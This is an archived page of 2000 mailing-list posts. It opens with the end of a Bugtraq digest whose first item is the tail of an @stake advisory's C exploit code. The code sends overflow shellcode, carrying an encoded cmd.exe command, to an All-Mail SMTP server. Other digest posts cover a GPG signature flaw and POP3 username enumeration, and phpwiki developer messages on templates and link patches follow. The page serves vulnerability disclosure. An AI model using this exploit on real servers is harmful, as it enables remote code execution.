buffer[count++]=0xB9; buffer[count++]=0xFF; buffer[count++]=0xFF; buffer[count++]=0xFF; buffer[count++]=0xFF; // sub ecx, 0x0D7 buffer[count++]=0x83; buffer[count++]=0xE9; buffer[count++]=0xD7; // loophere: // sub dword ptr[ebx+0x50],1 buffer[count++]=0x83; buffer[count++]=0x6B; buffer[count++]=0x50; buffer[count++]=0x01; // sub ebx,1 buffer[count++]=0x83; buffer[count++]=0xEB; buffer[count++]=0x01; // sub ecx,1 buffer[count++]=0x83; buffer[count++]=0xE9; buffer[count++]=0x01; // test ecx,ecx buffer[count++]=0x85; buffer[count++]=0xC9; // jne loophere buffer[count++]=0x75; buffer[count++]=0xF2; // add ebx,0x55 buffer[count++]=0x83; buffer[count++]=0xC3; buffer[count++]=0x55; // push ebx buffer[count++]=0x53; // call eax buffer[count++]=0xFF; buffer[count++]=0xD0; // This bunch is our command to run: // cmd.exe /c dir > allmail_orun.txt // but with 1 added to evey character // which is SUBed in the loop above buffer[count++]=0x01; buffer[count++]=0x01; buffer[count++]=0x01; buffer[count++]=0x01; buffer[count++]=0x64; buffer[count++]=0x6e; buffer[count++]=0x65; buffer[count++]=0x2f; buffer[count++]=0x66; buffer[count++]=0x79; buffer[count++]=0x66; buffer[count++]=0x21; buffer[count++]=0x30; buffer[count++]=0x64; buffer[count++]=0x21; buffer[count++]=0x65; buffer[count++]=0x6a; buffer[count++]=0x73; buffer[count++]=0x21; buffer[count++]=0x3f; buffer[count++]=0x21; buffer[count++]=0x62; buffer[count++]=0x6d; buffer[count++]=0x6d; buffer[count++]=0x6e; buffer[count++]=0x62; buffer[count++]=0x6a; buffer[count++]=0x6d; buffer[count++]=0x60; buffer[count++]=0x70; buffer[count++]=0x73; buffer[count++]=0x76; buffer[count++]=0x6f; buffer[count++]=0x2f; buffer[count++]=0x75; buffer[count++]=0x79; buffer[count++]=0x75; buffer[count++]=0x01; buffer[count++]=0x01; buffer[count++]=0x01; if(startWSOCK(hostname)!=0) { printf("Winsock Error!\n"); return 0; } DoBufferOverrun(buffer); return 0; } int startWSOCK(char *swhost) { int err=0; WORD wVersionRequested; WSADATA wsaData; wVersionRequested = MAKEWORD( 2, 0 ); err = WSAStartup( wVersionRequested, &wsaData ); if ( err != 0 ) { return 2; } if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 ) { WSACleanup( ); return 3; } if ((he = gethostbyname(swhost)) == NULL) { printf("Host not found.."); return 4; } sa.sin_addr.s_addr=INADDR_ANY; sa.sin_family=AF_INET; memcpy(&sa.sin_addr,he->h_addr,he->h_length); return 0; } int DoBufferOverrun(char *exploit) { int snd, rcv, err, count =0,incount = 0; char resp[200],*loc=NULL; sa.sin_port=htons(25); sock=socket(AF_INET,SOCK_STREAM,0); bind(sock,(struct sockaddr *)&sa,sizeof(sa)); if (sock==INVALID_SOCKET) { closesocket(sock); return 0; } if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0) { closesocket(sock); printf("Failed to connect\n"); return 0; } else { rcv = recv(sock,resp,200,0); snd = send(sock,"helo all-mail.overrun.test\r\n",28,0); rcv = recv(sock,resp,200,0); loc = strstr(resp,"250 HELO accepted"); if(loc == NULL) { printf("Server does not appear to be running All-Mail\nAborting..."); closesocket(sock); return 0; } else { snd = send(sock,"mail from: <",12,0); snd = send(sock,exploit,strlen(exploit),0); snd = send(sock,">\r\n",3,0); printf("Payload sent...allmail_orun.txt should have been created.\n"); } } closesocket(sock); return 0; } Cut -------8<--------- Vendor Response: When informed of these issues the vendor has decided not to support this product any longer and have stated they will inform their customers of what they should do. Recommendation: Switch to another mail server as there will not be a fixed version available. For more advisories: http://www.atstake.com/research/index.html PGP Key: http://www.atstake.com/research/pgp_key.asc Copyright 2000 @stake, Inc. All rights reserved. -----BEGIN PGP SIGNATURE----- Version: PGP 7.0 iQA/AwUBOeXgbFESXwDtLdMhEQK7UACg5BBYYKzDSnXb6JnuffskVKGn2pUAoI1G 9TODImPMfmu4v87sWkw2sLjd =YZd9 -----END PGP SIGNATURE----- ------------------------------ Date: Wed, 11 Oct 2000 16:16:31 -0700 From: Dan Kaminsky <dan...@CI...> Subject: Re: Shred 1.0 Bug Report > I therefore advise discontinuation of the use of the "shred" package. I > have no plans to bugfix or update it, since Tom Vier's "wipe" package > accomplishes the same job, and in a more thorough fashion. Wipe is impressive, though srm and overwrite are generally what I've been using(srm's recursive functionality is clean and simple). Oddly enough, I've been questioning the value of attempting to shred disk contents past what dedicated hardware can read. In my mind, it may be more important to *by default* cause all files, or all files mounted on a given "secure partition", to be overwritten with just a single pass to prevent all software based attacks from being successful. Dedicated hardware implies physical access to the hard drive--if your threat scenario grants that, there's alot more damaging things they can do to your systems and your infrastructure. Contrast that with the threat of root being remotely breached, and your disks being scanned for undeletable files. As distasteful as such a situation may be, it's just *far* more likely than a physical break-in. It's reasonably arguable how many passes of what kind of data(pseudorandom vs. patterned) actually can protect against a physical analysis--Gutmann's paper aside, the few companies and TLA's that do this sort of thing aren't particularly open with their methods or capabilities. However, there's no question that simply overwriting and wiping the data once, as is already done in good operating systems when formerly used system memory is remapped to a new process, will protect against all software-based attacks--hard drives simply lack the firmware commands to return deep scan information about the physical surface. Often, such code hasn't been deployed because it slows down the system considerably when used in a synchronous manner. For synchronous single-wiped deletion, if you delete a one gigabyte file, and you need to wait for a gig of pseudorandom data to be written to the hard drive before you can access that space, you've got a three to five minute delay tacked on to whatever the file system already required to wipe that file. That's easily enough to cause secure deletion to be disabled, especially because of all the non-obvious cases--a one gigabyte file is opened and replaced with a one megabyte file. For synchronous code, somewhere in that process a huge delay has to be inserted to clear out the unused space. For a user who just wants to save something, they're almost guaranteed to assume their machine has crashed and reboot/kill -9. This, most likely, leaves possibly security critical garbage data sitting on the hard drive--the synchronous wipe was almost certainly disabled before it could finish. Never let it be said that user interfaces and security are not intrinsically linked to one another. Since synchronous wiping on everything is infeasable, there are really two solutions: One, explicitly use userspace secure deletion utilities to wipe files we know are security critical. This is where apps like shred, wipe, srm, and overwrite come into play. The other is a "lazy overwriting" asynchronous daemon, which sacrifices immediate security and code simplicity for the ability to know that, within a certain amount of time after space is de-allocated, the former contents of that space will be overwritten and be no longer recoverable. By turning secure deletion into a non-blocking process, it might actually be feasable to have it more widely deployed--one of the problems with userspace tools is you can't use them for *every* transaction(even if you replace the rm executable with srm, it doesn't help with simple clobbers a la cat > file) and you have to know in advance which specific files are security sensitive. If anything changes on your system, or if any apps do their own file management...you've gotta modify your system configuration, sometimes to the point of changing source code. That's in addition to the speed penalty. Asynchronous methods can run whenever the system isn't heavily loaded. Synchronous processes hold everything else up. I'm not aware of any projects to create an asychronous secure deletion daemon, but believe me, I'd use one if I could find one. > Jeff, I do have to question whether it was appropriate to notify > Bugtraq, since "shred" was never, to my knowledge, a part of any Linux > distribution. This is *absolutely* irrelevant. A security critical package failed to perform it's single security critical function. Whether or not this was because of a change in file handling semantics is irrelevant: Files that people thought were wiped from their drives were almost certainly *not*. At minimum, it's a great example of the law of unintended consequences and the need to verify the functionality of one's code. "It looks and sounds like it's overwriting file, so it must be!" was how Shred was judged as functional. Nobody had the tools before TCT(or grep /dev/hda, but I'm talking convenience here) to see if the deletion actually worked. It didn't, the report went out. If a security list didn't post that security software was insecure, it wouldn't be much of a security list! Yours Truly, Dan Kaminsky Cisco Systems, Advanced Network Services http://www.doxpara.com ------------------------------ Date: Wed, 11 Oct 2000 12:30:19 -0700 From: Jim Small <cav...@MY...> Subject: GPG 1.0.3 doesn't detect modifications to files with multiple signatures Attached is multiple copies of a file I had signed. Then I started modifying parts of the SIGNED message. To see if gpg could detect that the messages had been altered. It did not detect them, so long as the last signed message had not been altered. Save this message as newfile.asc and run gpg --verify newfile.asc -o /dev/null to see for yourself (the key it was signed with is available via keyservers) asdfasfasdfd -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I just added by one stuff to thie message bogugfirst file encrypted with nobody dude on uinix box, send to nethole forpmail this is actually encrypted with a valid pgpg key imported form win95 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.3 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE538QlZi9y1BQncn4RAj/vAKCmfScBFegl6LMD3Q99N51pvuHAIQCfUv5+ a05Yt6xZwd/PxtQsRe+88AQ= =siBR -----END PGP SIGNATURE----- middle stuff -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 another wrong first file encrypted with nobody dude on uinix box, send to nethole forpmail this is actually encrypted with a valid pgpg key imported form win95 another file -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.3 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE538hvZi9y1BQncn4RAolnAKCwEJTyPm6895ybQfk1D5IfeqJjmwCg4MlP 3NbvJocg5ksql40aOTZf0MY= =yBf2 -----END PGP SIGNATURE----- asfasfasf end stuff -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 first file encrypted with nobody dude on uinix box, send to nethole forpmail this is actually encrypted with a valid pgpg key imported form win95 bogud -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.3 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE538QlZi9y1BQncn4RAj/vAKCmfScBFegl6LMD3Q99N51pvuHAIQCfUv5+ a05Yt6xZwd/PxtQsRe+88AQ= =siBR -----END PGP SIGNATURE----- stuff -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 first file encrypted with nobody dude on uinix box, send to nethole forpmail this is actually encrypted with a valid pgpg key imported form win95 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.3 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE538QlZi9y1BQncn4RAj/vAKCmfScBFegl6LMD3Q99N51pvuHAIQCfUv5+ a05Yt6xZwd/PxtQsRe+88AQ= =siBR -----END PGP SIGNATURE----- -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 first file encrypted with nobody dude on uinix box, send to nethole forpmail this is actually encrypted with a valid pgpg key imported form win95 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.3 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE538QlZi9y1BQncn4RAj/vAKCmfScBFegl6LMD3Q99N51pvuHAIQCfUv5+ a05Yt6xZwd/PxtQsRe+88AQ= =siBR -----END PGP SIGNATURE----- gpg: Signature made Sat Oct 7 17:47:33 2000 PDT using DSA key ID 1427727E gpg: Good signature from "James F. Small, Jr. <sm...@ne...>" gpg: aka "Jim Small <sm...@pa...>" gpg: aka "James F. Small, Jr. <sm...@sa...>" gpg: aka "James F. Small, Jr. <sm...@sm...>" gpg: Signature made Sat Oct 7 18:05:51 2000 PDT using DSA key ID 1427727E gpg: BAD signature from "James F. Small, Jr. <sm...@ne...>" gpg: Signature made Sat Oct 7 17:47:33 2000 PDT using DSA key ID 1427727E gpg: Good signature from "James F. Small, Jr. <sm...@ne...>" gpg: aka "Jim Small <sm...@pa...>" gpg: aka "James F. Small, Jr. <sm...@sa...>" gpg: aka "James F. Small, Jr. <sm...@sm...>" gpg: Signature made Sat Oct 7 17:47:33 2000 PDT using DSA key ID 1427727E gpg: Good signature from "James F. Small, Jr. <sm...@ne...>" gpg: aka "Jim Small <sm...@pa...>" gpg: aka "James F. Small, Jr. <sm...@sa...>" gpg: aka "James F. Small, Jr. <sm...@sm...>" gpg: Signature made Sat Oct 7 17:47:33 2000 PDT using DSA key ID 1427727E gpg: Good signature from "James F. Small, Jr. <sm...@ne...>" gpg: aka "Jim Small <sm...@pa...>" gpg: aka "James F. Small, Jr. <sm...@sa...>" gpg: aka "James F. Small, Jr. <sm...@sm...>" ------------------------------------------------------------ --== Sent via Deja.com http://www.deja.com/ ==-- Before you buy. ------------------------------ Date: Wed, 11 Oct 2000 22:17:53 GMT From: scanf <sc...@MO...> Subject: solaris8 dtmail hi, I was playing around on my solaris8 box and i found something strange. console@sunrise:pts/11:~$ /usr/dt/bin/dtmail libSDtMail: Error: Xt Error: Can't open display: console@sunrise:pts/11:~$ export DISPLAY="%s%s%s" console@sunrise:pts/11:~$ /usr/dt/bin/dtmail Segmentation Fault console@sunrise:pts/11:~$ first glance it appears to be a format string vuln. however i checked a little further. console@sunrise:pts/11:~$ export DISPLAY="%" console@sunrise:pts/11:~$ /usr/dt/bin/dtmail Segmentation Fault console@sunrise:pts/11:~$ It only needed a % to crash. I don't have the source to this so I decided not to check it further. It might be soem parse'ing error in the code. I posted this in case anybody wants to investigate it. console co...@su... ------------------------------ Date: Wed, 11 Oct 2000 17:30:48 -0400 From: Matt Holtz <mh...@PU...> Subject: Netscape Messaging server 4.15 poor error strings Hello, I have searched for anything regarding this problem, and haven't found anything so I apologize if this has already been covered. I am dealing with Netscape Messaging Server (aka Iplanet Messaging server) 4.15p1 (mar 15 2000). The problem is that the POP3 server displays a different message for an authentication error due to an invalid password then for one due to an invalid username. This could be used to "harvest" email addresses for spam lists. I have contacted Netscape engineering regarding this issue, and they have failed to get back to me with an answer. Here is an example: I created an account test.user but not one called invalid.user [mholtz@ ~]$ telnet someserver.example.com 110 Trying 172.16.10.107... Connected to someserver.example.com (172.16.10.107). Escape character is '^]'. +OK someserver.example.com POP3 service (Netscape Messaging Server 4.15 Patch 1 (built Mar 15 2000)) USER test.user +OK Name is a valid mailbox PASS blah -ERR Password incorrect quit +OK Connection closed by foreign host. [mholtz@ ~]$ telnet someserver.example.com 110 Trying 172.16.10.107... Connected to someserver.example.com (172.16.10.107). Escape character is '^]'. +OK someserver.example.com POP3 service (Netscape Messaging Server 4.15 Patch 1 (built Mar 15 2000)) user invalid.user +OK Name is a valid mailbox PASS blah -ERR User unknown quit +OK Connection closed by foreign host. [mholtz@ ~]$ I have searched for a way to change this in all of the documentation and haven't found anything. Fortunately it does pause for 1 second after an authentication failure. Note: this example uses messaging server for solaris 7. Matt Holtz ------------------------------ Date: Wed, 11 Oct 2000 16:20:08 -0700 From: Alfred Perlstein <br...@WI...> Subject: Re: Shred 1.0 Bug Report * Wietse Venema <wi...@PO...> [001011 14:48] wrote: > M. Leo Cooper: > > It has been a couple of years since I actively worked on "shred". In > > response to your e-mail, Jeff, when I tested the program, it no longer > > worked as specified. In fact, when compiled on a glibc 2.1 machine, > > "shred" coredumps. It appears that this package is a victim of the > > changes made to libc. > > The shredding problem is not in libc. > > The problem is that shred(1) should have called fsync() after each > overwrite iteration, in order to request that data be flushed from > the kernel buffers to the disk blocks. Programs like shred are particularly bad, they offer a false sense of security, this instance shows a complete lack of understanding of how most UNIX filesystems are implemented. Shred won't work reliably on: a) data logging filesystems b) transactional filesystems c) filesystems that perform online defrag (FreeBSD-FFS+reallockblks) d) filesystems that offer snapshot capabilities. e) (well i'm sure there's more) Programs like this offer a false sense of security, the proper way to do it is to implement some sort of 'scrub(2)' syscall that informs the filesystem code to accomplish the task otherwise you risk missing the data on the disk. There is no way to for something like this working entirely from userland on an advanced filesystem without its assistance. > > I therefore advise discontinuation of the use of the "shred" package. I > > have no plans to bugfix or update it, since Tom Vier's "wipe" package > > accomplishes the same job, and in a more thorough fashion. > > > > Jeff, I do have to question whether it was appropriate to notify > > Bugtraq, since "shred" was never, to my knowledge, a part of any Linux > > distribution. > > shred(1) installs with redhat 6.2, out of the box. Beware, software > never dies. Once you release it things are out of your control. shred should die. Anyone relying on it deserves their bits stolen and posted on usenet. much love, -- -Alfred Perlstein - [br...@wi...|al...@fr...] "I have the heart of a child; I keep it in a jar on my desk." ------------------------------ End of BUGTRAQ Digest - 11 Oct 2000 to 12 Oct 2000 (#2000-231) ************************************************************** |
From: Arno H. <aho...@in...> - 2000-10-12 21:02:11
|
Hi all, (Jeff - see bottom) I've brought Jan's patch in sync with the latest changes (lib/, etc.) and would be ready to commit the patch to CVS. The last open point was how we should handle templates. I've pondered this question for some time and came to the conclusion, that we should keep it in it's latest form, i.e. different template files for different languages. pros: easy and straight-forward, no change of code necessary cons: once we support 15 languages changing a template becomes awkward. Alternatives are: 1) do a gettext() on the template: $page = gettext (join('',file($templates[$template]))); This doesn't change much - just moves the data into a different location. One might argue that it's more consistent though. It becomes less user-friendly -- I don't recommend this. 2) invent additional markup for the templates and let GeneratePage() handle the rest. Possible, but I don't like this at all - GeneratePage() will become bloated. 3) switch templates to php files. Possible, but makes writing the templates a pain. You have to escape characters, rewrite the placeholder system to use functions etc. Loses the appeal of the current simplistic approach to templates, which makes it very easy even for newbies to create a new layout for phpwiki. 4) similar to above, but the template files are processed by doing eval(). Placeholders remain like they are now. Only change: gettext() appears in the templates. Con: eval()'s output cannot be redirected to a string. Thus we lose the ability to e.g. make a clean HTML dump from within phpwiki. (this problem can be solved in php4 by using output-buffers, in php3 there's no solution I'm aware of.) I'd like to hear which approach should be taken, so that I then can commit the patch to CVS. /Arno p.s. directory structure would be as follows: ./pgsrc -- default ./pgsrc/nl/ -- language specific ./templates/ -- default ./templates/nl/ -- language specific ./locale/ -- locale directory ./locale/translate.sh -- script for translators ./locale/po/ -- .po files for gettext ./locale/nl/LC_MESSAGES/ -- .mo & .php files pp.s. if Jeff is reading this: while thinking about this issue I revisited your template system - why didn't you use php files + eval() but invented your own syntax instead? |
From: Neil B. <ne...@cs...> - 2000-10-12 04:31:01
|
On Wednesday October 11, sw...@wc... wrote: > On Thu, 12 Oct 2000, Neil Brown wrote: > > > Yes.. If we don't urlencode above we do need to do more work here. > > If we are checking the prefx, would it be sensible to include that > > into the 'protocol'. e.g. > > wikidiff: > > wikiedit: > > wikisearch: > > wikifile: > > > > etc. Which doesn't seem very elegant to me. > > > > On the whole, I think I would go back to > > wiki:diff=url-encoded-wikiname > > > > and people who choose wierd wikinames live with the consequenses. > > > > Anyone else have an opinion? > > Yes, I think we should leave it as an administrator configuration option; > at the moment the default is to dynamically determine the host name. > Admins can set the $ServerName to either the full URL or http: based on > their needs. I think this works for all cases, the choice is not hard to > make, and we don't have to risk introducing more bugs. Keep the details > out of the code and in the config file. yes....but..... This means that RecentChanges will have absolute URLs hard coded into it, so once the ServerName has been set for a wiki, it cannot be easily changed. I want to keep the detail out of the Wiki database too. NeilBrown |
From: Steve W. <sw...@wc...> - 2000-10-12 03:58:31
|
On Thu, 12 Oct 2000, Neil Brown wrote: > Yes.. If we don't urlencode above we do need to do more work here. > If we are checking the prefx, would it be sensible to include that > into the 'protocol'. e.g. > wikidiff: > wikiedit: > wikisearch: > wikifile: > > etc. Which doesn't seem very elegant to me. > > On the whole, I think I would go back to > wiki:diff=url-encoded-wikiname > > and people who choose wierd wikinames live with the consequenses. > > Anyone else have an opinion? Yes, I think we should leave it as an administrator configuration option; at the moment the default is to dynamically determine the host name. Admins can set the $ServerName to either the full URL or http: based on their needs. I think this works for all cases, the choice is not hard to make, and we don't have to risk introducing more bugs. Keep the details out of the code and in the config file. sw ...............................ooo0000ooo................................. Hear FM quality freeform radio through the Internet: http://wcsb.org/ home page: www.wcsb.org/~swain |
From: Neil B. <ne...@cs...> - 2000-10-12 00:32:39
|
On Wednesday October 11, aho...@in... wrote: > > > or maybe even > > wiki:diff=SomePage > > which can apply more generally than just diff. > > I like this last one the most. > > This looks like a clean solution. Your patch has some subtle bugs though. > > > --- /home/src/phpwiki/lib/stdlib.php Mon Oct 9 04:33:26 2000 > > +++ lib/stdlib.php Wed Oct 11 09:35:43 2000 > > - $diffurl = "$ScriptUrl?diff=" . rawurlencode($pagename); > > + $diffurl = "wiki:diff=" . rawurlencode($pagename); > > $newpage[$k++] = "\t* [$pagename] ([diff|$diffurl]) ..... > > The pagename must not be rawurlencoded now. We want the real(tm) pagename > within the wikipage. Encoding should be done when creating the link. > Otherwise people would have to rawurlencode by hand if they would like to add > such a link to a wikipage. My reasoning went that other URLs must already be urlencoded, so this one should too. However I acknowledge that there is a small awkwardness in people needing to hand-urlencode wikinames. I'm probably happy to not urlencode here. > > About names for the link-type: you name both 'meta-wiki' which is not > consistent with the naming scheme. I suggest: 'wiki-meta' and > 'wiki-meta-named'. There is a consistent naming scheme ;-? I couldn't pick it, though I didn't try very hard. After poking around in the code a bit more, I am quite happy with wiki-meta and wiki-meta-named. > > Also, doing > > + if (preg_match("#wiki:(.*)#", $URL, $umatch)) { > > + $link['type'] = 'meta-wiki'; > > + $link['link'] = "<a > > href=\"$ScriptUrl?".$umatch[1]."\">$linkname</a>"; + } elseif > > seems too simplistic. Assuming that the link has to be encoded here, you must > ensure that there's always a sub-type (diff=, edit=, search=) so that > encoding works. This means that another type has to be introduced: 'page=' > Those types should be checked for. Everything following the subtype can then > be safely urlencoded. Yes.. If we don't urlencode above we do need to do more work here. If we are checking the prefx, would it be sensible to include that into the 'protocol'. e.g. wikidiff: wikiedit: wikisearch: wikifile: etc. Which doesn't seem very elegant to me. On the whole, I think I would go back to wiki:diff=url-encoded-wikiname and people who choose wierd wikinames live with the consequenses. Anyone else have an opinion? NeilBrown |
From: Arno H. <aho...@in...> - 2000-10-11 14:14:39
|
Hi, I added the two simple patches by Neil: searchtype and nested definition lists. Not yet done: tab-less markup for definition lists. I will have a look at Jan's internationalization patch next. Btw, we use exit() quite often within phpwiki. I suggest we add a function to stdlib.php called ExitWiki() or similar, in order to exit cleanly from phpwiki. Things coming to mind: ending the file with proper HTML, closing the database. If I find the time today I will add this function. /Arno |
From: Arno H. <aho...@in...> - 2000-10-11 08:21:59
|
> > Well, this might not count for much, but the http: solution does not work > > in Emacs' w3 mode. This makes me nervous that it will break other I tried: Netscape, lynx, Konqueror (KDE's browser), Mozilla. They all are able to use http: -- looks to me that Emcas got it wrong. > or maybe even > wiki:diff=SomePage > which can apply more generally than just diff. > I like this last one the most. This looks like a clean solution. Your patch has some subtle bugs though. > --- /home/src/phpwiki/lib/stdlib.php Mon Oct 9 04:33:26 2000 > +++ lib/stdlib.php Wed Oct 11 09:35:43 2000 > - $diffurl = "$ScriptUrl?diff=" . rawurlencode($pagename); > + $diffurl = "wiki:diff=" . rawurlencode($pagename); > $newpage[$k++] = "\t* [$pagename] ([diff|$diffurl]) ..... The pagename must not be rawurlencoded now. We want the real(tm) pagename within the wikipage. Encoding should be done when creating the link. Otherwise people would have to rawurlencode by hand if they would like to add such a link to a wikipage. About names for the link-type: you name both 'meta-wiki' which is not consistent with the naming scheme. I suggest: 'wiki-meta' and 'wiki-meta-named'. Also, doing > + if (preg_match("#wiki:(.*)#", $URL, $umatch)) { > + $link['type'] = 'meta-wiki'; > + $link['link'] = "<a > href=\"$ScriptUrl?".$umatch[1]."\">$linkname</a>"; + } elseif seems too simplistic. Assuming that the link has to be encoded here, you must ensure that there's always a sub-type (diff=, edit=, search=) so that encoding works. This means that another type has to be introduced: 'page=' Those types should be checked for. Everything following the subtype can then be safely urlencoded. /Arno |
From: Neil B. <ne...@cs...> - 2000-10-10 22:55:13
|
On Monday October 9, sw...@wc... wrote: > > Well, this might not count for much, but the http: solution does not work > in Emacs' w3 mode. This makes me nervous that it will break other > browsers... it also won't let me use lwp-rget to write a regression test, > since the URLs all come out like this: > Ho hum.... There is an RFC which describes what different URLs and URIs are, or should be, valid! However I think it is an after-the-fact RFC which is a suggesting of how things should be done and not a standard which everybody already adheres to.... > > > I'm looking for another solution. Perhaps the way the diffurl is encoded > can be changed: > > if($isnewpage) { > $newpage[$k++] = "\t* [$pagename] (new) ..... $remoteuser\r"; > } else { > $diffurl = "$ScriptUrl?diff=" . rawurlencode($pagename); > $newpage[$k++] = "\t* [$pagename] ([diff|$diffurl]) > ..... $remoteuser\r"; > } > > but I don't think there's an easy answer there either, and I don't want to > kluge it with an if/else... > I agree that the diffurl needs to be different. On reflection, putting something like http://myserver.mdomain.thing/thisbit/wiki/?diff=SomePage in a wikipage is not a good idea as it means that the wiki cannot be moved without changing the RecentChanges page. Having: index.php?diff=SomePage is a problem because it doesn't look distictively enough like a url for transform.php to recognise it. Having http:index.php?diff=SomePage is a bit better, but stuff would break if the index file name changed, and doesn't work for w3 mode or lwp-rget, and probably others.... My first thought was to have diff:SomePage and have transform.php recognise this inside [] and convert it to $ScriptUrl?diff=SomePage An alternative would be to have http:?diff=SomePage or maybe even wiki:diff=SomePage which can apply more generally than just diff. I like this last one the most. The follow patch effects it. With this patch, setting $ServerAddress=""; works fine for diffs an emacs-w3 and lpw-rget. WhaDaYaThink? NeilBrown --- /home/src/phpwiki/lib/stdlib.php Mon Oct 9 04:33:26 2000 +++ lib/stdlib.php Wed Oct 11 09:35:43 2000 @@ -360,7 +362,7 @@ if($isnewpage) { $newpage[$k++] = "\t* [$pagename] (new) ..... $remoteuser\r"; } else { - $diffurl = "$ScriptUrl?diff=" . rawurlencode($pagename); + $diffurl = "wiki:diff=" . rawurlencode($pagename); $newpage[$k++] = "\t* [$pagename] ([diff|$diffurl]) ..... $remoteuser\r"; } @@ -383,7 +385,7 @@ function ParseAndLink($bracketlink) { - global $dbi, $AllowedProtocols; + global $dbi, $AllowedProtocols, $ScriptUrl; // $bracketlink will start and end with brackets; in between // will be either a page name, a URL or both separated by a pipe. @@ -417,7 +419,10 @@ $URL = trim($matches[3]); $linkname = htmlspecialchars(trim($matches[1])); // assert proper URL's - if (preg_match("#^($AllowedProtocols):#", $URL)) { + if (preg_match("#wiki:(.*)#", $URL, $umatch)) { + $link['type'] = 'meta-wiki'; + $link['link'] = "<a href=\"$ScriptUrl?".$umatch[1]."\">$linkname</a>"; + } elseif (preg_match("#^($AllowedProtocols):#", $URL)) { $link['type'] = 'url-named'; $link['link'] = "<a href=\"$URL\">$linkname</a>"; } else { @@ -437,6 +442,9 @@ if (IsWikiPage($dbi, $linkname)) { $link['type'] = 'wiki'; $link['link'] = LinkExistingWikiWord($linkname); + } elseif (preg_match("#^wiki:(.*)#", $linkname, $umatch)) { + $link['type'] = 'meta-wiki'; + $link['link'] = "<a href=\"$ScriptUrl?".$umatch[1]."\">".urldecode($umatch[1])."</a>"; } elseif (preg_match("#^($AllowedProtocols):#", $linkname)) { // if it's an image, embed it; otherwise, it's a regular link if (preg_match("/jpg$|png$|gif$/i", $linkname)) { |
From: Steve W. <sw...@wc...> - 2000-10-10 15:15:39
|
Interesting overview: http://www.koehntopp.de/kris/artikel/php-kongress/ sw ...............................ooo0000ooo................................. Hear FM quality freeform radio through the Internet: http://wcsb.org/ home page: www.wcsb.org/~swain |